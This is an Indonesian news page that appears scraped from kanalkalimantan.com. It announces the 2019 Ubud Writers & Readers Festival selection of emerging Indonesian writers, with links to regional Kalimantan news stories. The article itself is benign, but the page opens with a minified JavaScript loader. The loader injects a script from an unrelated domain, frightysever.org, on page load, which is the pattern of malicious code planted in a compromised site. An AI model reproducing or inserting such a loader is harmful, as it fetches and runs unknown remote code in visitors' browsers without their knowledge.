(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
UBUD, Senin (14/1), Yayasan Mudra Swari Saraswati, lembaga nirlaba yang menaungi Ubud Writers & Readers Festival (UWRF) mengumumkan dimulainya Seleksi Penulis Emerging Indonesia untuk UWRF 2019. Seleksi ini merupakan sebuah program Festival untuk menemukan calon bintang-bintang sastra Indonesia.
Pemilihan pemenang berdasarkan sejumlah kriteria termasuk kualitas karya, prestasi dan konsistensi dalam berkarya, serta dedikasi dalam pengembangan kesusastraan Indonesia. Seleksi yang ditujukan khusus bagi penulis berkewarganegaraan Indonesia ini memiliki persyaratan umum sebagai berikut:
Seluruh karya yang dikirimkan akan diseleksi oleh Dewan Kurator yang terdiri dari penulis-penulis Indonesia ternama. Nama anggota Dewan Kurator ini akan dirahasiakan hingga pengumuman para penulis yang lolos seleksi.
Para penulis emerging terpilih akan diterbangkan dari kota asal masing-masing ke Ubud, Bali untuk menghadiri UWRF 2019 yang akan diselenggarakan pada 23-27 Oktober mendatang. Para penulis emerging ini akan diundang sebagai pembicara dan berpartisipasi dalam beberapa kegiatan Festival seperti panel diskusi, pembacaan karya, workshop, peluncuran buku, dan lainnya. Karya-karya terpilih mereka juga akan diterjemahkan ke dalam bahasa Inggris dan diterbitkan dalam buku dwi bahasa Antologi 2019 yang akan diluncurkan di UWRF 2019. Peluncuran Antologi dwi bahasa karya penulis emerging terpilih ini merupakan salah satu komitmen UWRF untuk menghadirkan karya-karya anak bangsa ke hadapan dunia internasional. Seluruh biaya penerbangan dan akomodasi penulis emerging terpilih selama menghadiri UWRF 2019 akan ditanggung oleh Emerging Writers Patron, yaitu program pendanaan khusus bagi para penulis emerging terpilih.
Sejak diadakan pertama kali pada tahun 2008, Seleksi Penulis Emerging Indonesia ini telah sukses memperkenalkan penulis-penulis Indonesia ke kancah internasional. Banyak di antara para alumni Seleksi Penulis Emerging Indonesia ini yang terus konsisten berkarya dan menjadi sosok berpengaruh di dunia sastra Indonesia dan internasional. Beberapa alumni Seleksi Penulis Emerging Indonesia ini adalah Aan Mansyur (2009), Kurnia Effendi (2010), Avianti Armand (2011), Aprila R.A Wayar (2012), Bernard Batubara (2013), Faisal Oddang (2014), Norman Erikson Pasaribu (2015), Azri Zakkiyah (2016), Ibe S. Palogai (2017), dan Andre Septiawan (2018).
Emerging adalah istilah yang digunakan oleh UWRF untuk para penulis Indonesia yang memiliki karya berkualitas namun belum memperoleh publikasi yang memadai. Program Seleksi Penulis Emerging Indonesia ini adalah bagian dari komitmen Yayasan Mudra Swari Saraswati untuk mendukung kehidupan masyarakat Indonesia melalui program-program seni dan budaya. Selain itu, tujuan diselenggarakannya program ini adalah untuk menemukan bakat-bakat sastra dari pelosok Nusantara.(cel/rls)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.